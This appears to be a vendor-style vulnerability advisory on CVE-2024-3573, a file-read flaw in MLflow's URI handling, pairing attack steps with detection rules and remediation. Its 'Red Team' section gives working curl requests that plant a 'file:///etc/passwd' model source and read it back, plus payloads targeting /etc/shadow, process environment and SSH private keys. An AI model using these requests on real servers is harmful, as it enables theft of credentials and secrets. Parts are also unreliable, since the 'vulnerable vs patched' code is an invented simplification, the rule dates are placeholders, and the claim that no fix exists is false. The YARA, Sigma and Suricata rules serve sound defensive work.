CVE-2024-3573

Executive Summary

CVE-2024-3573 is a critical Local File Inclusion (LFI) vulnerability in the MLflow machine learning lifecycle platform. The flaw resides in the is_local_uri function, which improperly parses URIs, allowing attackers to bypass security checks and read arbitrary files from the server filesystem. With a CVSS score of 9.3, this vulnerability poses a severe risk to confidentiality, as it enables unauthenticated remote attackers to access sensitive files such as configuration files, credentials, and proprietary data. The vulnerability is currently unpatched, and no official fix has been released by the vendor.

Supply Chain & Package Security

MLflow is a widely used open-source platform for managing the ML lifecycle, including experimentation, reproducibility, and deployment. It is distributed via PyPI (mlflow) and is commonly integrated into CI/CD pipelines and production ML infrastructure. The LFI vulnerability in MLflow can be exploited to read arbitrary files from the server, potentially exposing API keys, database credentials, and model artifacts. Organizations using MLflow in their supply chain should treat this as a critical security incident and immediately isolate affected instances until a patch is applied.

CVSS Breakdown & Threat Level

• CVSS Score: 9.3 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

The high CVSS score reflects the ease of exploitation and the severe confidentiality impact. An unauthenticated attacker can remotely read sensitive files without any user interaction, making this a high-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The vulnerability is rooted in the is_local_uri function within MLflow's URI handling logic. This function is designed to determine whether a given URI points to a local filesystem resource. However, it fails to properly handle URIs with empty schemes or schemes like file://. Specifically, when a URI is crafted with an empty scheme (e.g., ///etc/passwd) or a file scheme (e.g., file:///etc/passwd), the function misclassifies it as non-local, bypassing subsequent security checks.

The exploitation flow is as follows:

1. An attacker creates a malicious model version with a specially crafted source parameter.
2. The source parameter contains a URI that points to a sensitive file on the server (e.g., ///etc/passwd or file:///etc/passwd).
3. MLflow's is_local_uri function incorrectly classifies this URI as non-local, allowing the request to proceed.
4. The server then reads the file and returns its contents to the attacker.

This vulnerability allows reading files within at least two directory levels from the server's root, but in practice, it can be extended to read any file on the filesystem.

Vulnerable vs. Patched Code

The vulnerable code is in the is_local_uri function. A simplified representation:

# Vulnerable code
def is_local_uri(uri):
    parsed = urlparse(uri)
    if parsed.scheme == '' or parsed.scheme == 'file':
        return False  # Incorrectly treats file URIs as non-local
    # ... other checks

A patched version would correctly identify local URIs:

# Patched code
def is_local_uri(uri):
    parsed = urlparse(uri)
    if parsed.scheme == '' or parsed.scheme == 'file':
        return True  # Correctly identifies file URIs as local
    # ... other checks

The patch ensures that URIs with empty or file schemes are treated as local, preventing the bypass.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A running MLflow server (e.g., mlflow server --host 0.0.0.0 --port 5000)
• Access to the MLflow API (default port 5000)

Exploitation Steps:

1. Craft a malicious model version:

   curl -X POST "http://target:5000/api/2.0/mlflow/model-versions/create" \
   -H "Content-Type: application/json" \
   -d '{
     "name": "malicious-model",
     "source": "file:///etc/passwd",
     "run_id": "dummy"
   }'
   

2. Retrieve the file content:

   curl "http://target:5000/api/2.0/mlflow/model-versions/get?name=malicious-model&version=1"
   

   The response will include the contents of /etc/passwd in the model version's metadata.

Alternative payloads:

• ///etc/shadow
• file:///proc/self/environ
• file:///home/mlflow/.ssh/id_rsa

Blue Team

Detection:

• Monitor MLflow API logs for unusual source parameters containing file:// or /// patterns.
• Alert on model versions created with non-standard URIs.
• Use network monitoring to detect outbound connections from MLflow servers to unknown IPs (though this LFI is inbound).

Hunting:

• Search for model versions with source fields containing file:// or ///.
• Review MLflow server logs for 200 responses to model version creation requests with suspicious URIs.

Containment:

• Immediately isolate the MLflow server from the network.
• Review and delete any malicious model versions.
• Rotate any credentials that may have been exposed.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST requests to /api/2.0/mlflow/model-versions/create with source parameter containing file:// or ///.
  • HTTP GET requests to /api/2.0/mlflow/model-versions/get referencing model versions with suspicious sources.

• File System IOCs:

  • Presence of model version artifacts in the MLflow artifact store that reference local files (e.g., symlinks to /etc/passwd).

• Log IOCs:

  • MLflow server logs showing model version creation with source values like file:///etc/passwd.

Detection Engineering

YARA Rule

rule CVE_2024_3573_LFI_MLflow {
    meta:
        description = "Detects MLflow LFI exploitation attempts via file:// or /// URIs"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3573"
    strings:
        $file_uri = /"source"\s*:\s*"file:\/\// nocase
        $triple_slash = /"source"\s*:\s*"\/\/\// nocase
    condition:
        any of them
}

Sigma Rule

title: MLflow LFI Exploitation via Malicious Model Version
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of MLflow model versions with file:// or /// URIs indicating LFI exploitation
author: Valters IT
date: 2024-01-01
logsource:
    category: webserver
    product: mlflow
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/api/2.0/mlflow/model-versions/create'
        cs-request-body|contains|all:
            - 'source'
            - 'file://'
    condition: selection
falsepositives:
    - Legitimate use of file URIs in MLflow (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3573 MLflow LFI Exploitation"; flow:to_server; content:"POST"; http_method; content:"/api/2.0/mlflow/model-versions/create"; http_uri; content:"source"; http_client_body; content:"file://"; distance:0; within:100; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate MLflow servers from untrusted networks (e.g., place behind a VPN or firewall).
2. Disable model version creation if not required, or restrict it to authenticated users only.
3. Implement a WAF rule to block requests containing file:// or /// in the source parameter.

Long-term Fix:

• Apply the vendor patch once released. In the interim, consider forking the MLflow repository and applying the fix described in the "Vulnerable vs. Patched Code" section.
• Upgrade to a patched version of MLflow as soon as it becomes available.

Compensating Controls:

• Use a reverse proxy (e.g., Nginx) to validate and sanitize incoming requests.
• Implement strict input validation on the source parameter, rejecting any URIs that do not match expected patterns (e.g., s3://, gs://).

Valters IT